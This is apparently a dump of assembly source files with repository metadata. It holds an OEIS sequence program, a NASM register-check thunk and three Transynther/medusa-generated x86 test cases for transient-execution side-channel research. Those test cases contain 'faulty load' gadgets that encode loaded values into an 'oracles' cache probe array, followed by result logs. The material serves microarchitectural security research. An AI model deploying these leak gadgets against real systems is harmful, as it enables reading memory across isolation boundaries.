; A130752: Binomial transform of periodic sequence (2, 3, 1). ; 2,5,9,16,31,63,128,257,513,1024,2047,4095,8192,16385,32769,65536,131071,262143,524288,1048577,2097153,4194304,8388607,16777215,33554432,67108865,134217729,268435456,536870911,1073741823,2147483648,4294967297,8589934593,17179869184,34359738367,68719476735,137438953472,274877906945,549755813889,1099511627776,2199023255551,4398046511103,8796093022208,17592186044417,35184372088833,70368744177664,140737488355327,281474976710655,562949953421312,1125899906842625,2251799813685249,4503599627370496,9007199254740991,18014398509481983,36028797018963968,72057594037927937,144115188075855873,288230376151711744,576460752303423487,1152921504606846975,2305843009213693952,4611686018427387905,9223372036854775809,18446744073709551616,36893488147419103231,73786976294838206463,147573952589676412928,295147905179352825857,590295810358705651713,1180591620717411303424,2361183241434822606847,4722366482869645213695,9444732965739290427392,18889465931478580854785,37778931862957161709569,75557863725914323419136,151115727451828646838271,302231454903657293676543,604462909807314587353088,1208925819614629174706177,2417851639229258349412353,4835703278458516698824704,9671406556917033397649407,19342813113834066795298815,38685626227668133590597632,77371252455336267181195265,154742504910672534362390529,309485009821345068724781056,618970019642690137449562111,1237940039285380274899124223,2475880078570760549798248448,4951760157141521099596496897,9903520314283042199192993793,19807040628566084398385987584,39614081257132168796771975167,79228162514264337593543950335,158456325028528675187087900672,316912650057057350374175801345,633825300114114700748351602689,1267650600228229401496703205376 mov $2,2 mov $3,1 mov $4,1 lpb $0 sub $0,1 add $1,$2 add $2,$4 mov $4,$3 add $3,$1 lpe add $1,$2 mov $0,$1
115.75
1,671
0.902808
ded497b88613256ba78473410440680cdb65e80a
10,053
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_190.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_190.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_190.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x3413, %r14 nop nop nop nop sub $32035, %rdx vmovups (%r14), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $0, %xmm7, %rcx nop add %rdi, %rdi lea addresses_WT_ht+0x6673, %r9 nop nop nop sub %rdx, %rdx movups (%r9), %xmm5 vpextrq $0, %xmm5, %rax nop nop inc %rax lea addresses_WT_ht+0x3f93, %r14 nop nop dec %rcx vmovups (%r14), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $0, %xmm4, %rdx nop nop nop sub %r14, %r14 lea addresses_A_ht+0x1b803, %rsi lea addresses_D_ht+0x15393, %rdi nop and $22276, %r12 mov $6, %rcx rep movsb nop nop cmp %r12, %r12 lea addresses_A_ht+0x1d93, %rax nop nop sub %rsi, %rsi mov (%rax), %r9d nop nop nop nop nop add $5291, %rdx lea addresses_UC_ht+0x7633, %r14 nop nop nop nop nop xor %rcx, %rcx movups (%r14), %xmm6 vpextrq $0, %xmm6, %rdi nop nop nop inc %r9 lea addresses_D_ht+0x16593, %rsi lea addresses_normal_ht+0x1c163, %rdi nop nop nop nop dec %rdx mov $38, %rcx rep movsq nop nop cmp $34291, %rcx lea addresses_normal_ht+0x18f6b, %rsi lea addresses_A_ht+0x1856a, %rdi nop nop nop nop lfence mov $42, %rcx rep movsw nop xor $65348, %rcx lea addresses_D_ht+0x9ef7, %rax nop nop nop nop dec %rsi mov (%rax), %r9d nop nop nop nop and %rdx, %rdx lea addresses_A_ht+0x7a77, %rsi lea addresses_WT_ht+0x1a093, %rdi nop nop add $11895, %rdx mov $56, %rcx rep movsl nop nop nop nop sub %rax, %rax lea addresses_D_ht+0xe093, %rsi lea addresses_A_ht+0x10bfb, %rdi nop nop nop xor $55411, %r14 mov $27, %rcx rep movsw nop nop nop nop nop xor %rdx, %rdx lea addresses_normal_ht+0x9027, %rsi lea addresses_A_ht+0x15f47, %rdi nop xor $41285, %r12 mov $18, %rcx rep movsb nop nop nop nop nop and %r14, %r14 lea addresses_D_ht+0x1c993, %r12 nop xor $62063, %rcx and $0xffffffffffffffc0, %r12 vmovntdqa (%r12), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $1, %xmm4, %rax nop add $49824, %rcx lea addresses_normal_ht+0x686b, %rsi lea addresses_UC_ht+0x1ad3, %rdi nop nop nop nop nop and $35329, %r14 mov $45, %rcx rep movsq add $56268, %r12 lea addresses_WC_ht+0x97a3, %rsi lea addresses_UC_ht+0x1e593, %rdi nop nop nop nop xor $53682, %rdx mov $80, %rcx rep movsq nop nop nop nop cmp $54664, %r12 pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r14 push %r8 push %rcx push %rdi push %rsi // Store lea addresses_WT+0x8b3, %r14 nop inc %rsi mov $0x5152535455565758, %r11 movq %r11, %xmm0 vmovups %ymm0, (%r14) nop nop nop cmp %rsi, %rsi // Store lea addresses_WC+0x3393, %r10 nop nop inc %r8 mov $0x5152535455565758, %r14 movq %r14, %xmm5 movups %xmm5, (%r10) nop nop nop nop nop and $40817, %rsi // Load lea addresses_US+0x15a53, %r10 nop nop nop inc %r14 mov (%r10), %rcx nop nop add $25764, %r14 // Store lea addresses_WT+0x18d93, %rsi clflush (%rsi) nop nop nop cmp $58134, %rdi movb $0x51, (%rsi) nop nop nop dec %r10 // Load lea addresses_normal+0x1e313, %r10 nop nop add $53104, %rcx mov (%r10), %rdi nop cmp $11675, %r11 // Store lea addresses_D+0x1fcd3, %rdi nop nop nop cmp $5389, %r8 movb $0x51, (%rdi) and $20299, %r11 // Store mov $0xfa74a00000000f3, %r10 sub %rcx, %rcx movb $0x51, (%r10) nop nop nop add $57385, %r14 // Store lea addresses_WT+0x11349, %rdi nop nop nop nop and $37822, %r8 mov $0x5152535455565758, %rsi movq %rsi, (%rdi) nop nop nop and $42986, %rcx // Faulty Load lea addresses_PSE+0x1ed93, %r10 nop nop xor %r14, %r14 mov (%r10), %ecx lea oracles, %r10 and $0xff, %rcx shlq $12, %rcx mov (%r10,%rcx,1), %rcx pop %rsi pop %rdi pop %rcx pop %r8 pop %r14 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_PSE', 'same': False, 'size': 2, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC', 'same': False, 'size': 16, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_US', 'same': False, 'size': 8, 'congruent': 6, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_NC', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_PSE', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'same': True, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'same': True, 'size': 32, 'congruent': 10, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
28.971182
2,999
0.65473
71adfdaf5aec04740a32b3c6118394a37c8005a1
4,399
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_765.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_765.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_765.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %rcx push %rdi push %rsi lea addresses_UC_ht+0x11993, %rsi lea addresses_UC_ht+0x12473, %rdi nop and %r13, %r13 mov $60, %rcx rep movsl nop nop nop nop nop and $15073, %r10 lea addresses_WT_ht+0x11343, %rcx nop nop nop nop nop sub %rsi, %rsi mov $0x6162636465666768, %rdi movq %rdi, (%rcx) nop nop nop nop cmp $28745, %r13 pop %rsi pop %rdi pop %rcx pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r15 push %rbp push %rdi // Faulty Load lea addresses_A+0x17313, %rbp nop nop xor $27360, %rdi vmovups (%rbp), %ymm6 vextracti128 $0, %ymm6, %xmm6 vpextrq $1, %xmm6, %r15 lea oracles, %rdi and $0xff, %r15 shlq $12, %r15 mov (%rdi,%r15,1), %r15 pop %rdi pop %rbp pop %r15 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_A', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}} {'35': 21829} 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
54.9875
2,999
0.664242
1af75379ecce174d57cbeaa5acbc0f3eb3dd8f3a
2,343
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_257_231.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_257_231.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_257_231.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r8 push %rdx push %rsi lea addresses_normal_ht+0x1c6a, %r11 nop xor %rdx, %rdx movb (%r11), %r8b nop nop nop nop xor $49219, %rsi pop %rsi pop %rdx pop %r8 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r15 push %rax push %rbx push %rdi push %rsi // Load lea addresses_RW+0x1266a, %rbx clflush (%rbx) nop nop nop add %r11, %r11 movb (%rbx), %r15b nop nop nop nop nop cmp $15732, %r14 // Store lea addresses_US+0x16e9a, %rax clflush (%rax) nop nop nop nop nop and $9156, %rbx mov $0x5152535455565758, %r15 movq %r15, (%rax) nop nop nop nop sub $16667, %r14 // Faulty Load lea addresses_RW+0x1266a, %rsi nop nop nop dec %rdi mov (%rsi), %r11w lea oracles, %r15 and $0xff, %r11 shlq $12, %r11 mov (%r15,%r11,1), %r11 pop %rsi pop %rdi pop %rbx pop %rax pop %r15 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 3, 'same': False, 'type': 'addresses_US'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'32': 257} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 */
24.154639
770
0.653436
c9ab8c4ce906409b1321df54ebe759ff5339f32a
433
asm
Assembly
nasm-utils.asm
moneytech/nasm-utils
3dab5ffe0327e00c372836de114d49aa87a125b0
[ "MIT" ]
null
null
null
nasm-utils.asm
moneytech/nasm-utils
3dab5ffe0327e00c372836de114d49aa87a125b0
[ "MIT" ]
null
null
null
nasm-utils.asm
moneytech/nasm-utils
3dab5ffe0327e00c372836de114d49aa87a125b0
[ "MIT" ]
null
null
null
%include "nasm-utils-inc.asm" GLOBAL closure_thunk:function closure_thunk: push rsi push_callee_saved call rdi ; set up the function name mov rdi, [rsp + 48] ; now check whether any regs were clobbered cmp rbp, [rsp + 40] jne bad_rbp cmp rbx, [rsp + 32] jne bad_rbx cmp r12, [rsp + 24] jne bad_r12 cmp r13, [rsp + 16] jne bad_r13 cmp r14, [rsp + 8] jne bad_r14 cmp r15, [rsp] jne bad_r15 add rsp, 7 * 8 ret thunk_boilerplate
13.121212
43
0.715935
4d163e7301b02004e57362dcc5ef6334f72e8272
530
asm
Assembly
oeis/079/A079253.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/079/A079253.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/079/A079253.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A079253: a(n) is taken to be the smallest positive integer greater than a(n-1) which is consistent with the condition "n is a member of the sequence if and only if a(n) is even". ; Submitted by Jon Maiga ; 0,3,5,6,7,8,10,12,14,15,16,17,18,19,20,22,24,26,28,30,32,33,34,35,36,37,38,39,40,41,42,43,44,46,48,50,52,54,56,58,60,62,64,66,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,94,96 lpb $0 mov $2,$0 sub $0,1 trn $2,1 seq $2,79948 ; First differences of A079000. add $3,$2 lpe mov $0,$3
40.769231
208
0.671698
bdad4ba227318b3828f39dd3d24c05a5a594f97c
1,912
asm
Assembly
src/header.asm
ISSOtm/smooth-player-demo
e511fb786f2ca9e75f2d4fd38f34d1ecfe608253
[ "MIT" ]
4
2019-06-26T16:04:03.000Z
2021-12-01T12:22:13.000Z
src/header.asm
ISSOtm/smooth-player-demo
e511fb786f2ca9e75f2d4fd38f34d1ecfe608253
[ "MIT" ]
1
2021-07-19T18:40:35.000Z
2021-07-19T18:40:35.000Z
src/header.asm
ISSOtm/smooth-player-demo
e511fb786f2ca9e75f2d4fd38f34d1ecfe608253
[ "MIT" ]
null
null
null
INCLUDE "src/include/hardware.inc/hardware.inc" SECTION "Header", ROM0[$100] ld c, $60 jr LogoFade ; Make sure to allocate some space for the header, so no important ; code gets put there and later overwritten by RGBFIX. ; RGBFIX is designed to operate over a zero-filled header, so make ; sure to put zeros regardless of the padding value. (This feature ; was introduced in RGBDS 0.4.0, but the -MG etc flags were also ; introduced in that version.) ds $150 - @, 0 LogoFade: cp $11 ld a, 0 jr nz, .notAGB ld a, b and 1 .notAGB ldh [hIsAGB], a xor a ldh [rAUDENA], a .fadeLogo ld b, 7 ; Number of frames between each logo fade step .logoWait ld a, [rLY] cp a, SCRN_Y jr nc, .logoWait .waitVBlank ld a, [rLY] cp a, SCRN_Y jr c, .waitVBlank dec b jr nz, .logoWait ; Shift all colors (fading the logo progressively) ld a, c rra rra and $FC ; Ensures a proper rotation and sets Z for final check ldh [rBGP], a ld c, a jr nz, .fadeLogo ; End if the palette is fully blank (flag set from `and $FC`) ; xor a ldh [rDIV], a Reset:: di ; Kill sound xor a ldh [rAUDENA], a ; Turn off LCD .waitVBlank ld a, [rLY] cp SCRN_Y jr c, .waitVBlank xor a ldh [rLCDC], a ; Init VRAM for rPCMxx display ld hl, $CCAA ld sp, $8810 REPT 8 push hl ENDR ld sp, wStackBottom ; Fill tilemap ld hl, _SCRN0 ld a, $80 ld bc, SCRN_VX_B * SCRN_Y_B rst Memset ld a, BANK(SetupPlayback) ldh [hROMBank], a ld [rROMB0], a ld a, LCDCF_ON | LCDCF_BGON ldh [rLCDC], a xor a ldh [rIE], a ei ; Delayed until the next instruction: perfectly safe! ldh [rIF], a jp SetupPlayback SECTION "Stack", WRAM0 wStack: ds 32 wStackBottom: SECTION "Global HRAM variables", HRAM hIsAGB:: db hROMBank:: db
17.225225
82
0.618724
a49376b33f7b7c9728eba49b4ee041f1b630c221
875
asm
Assembly
oeis/003/A003071.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/003/A003071.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
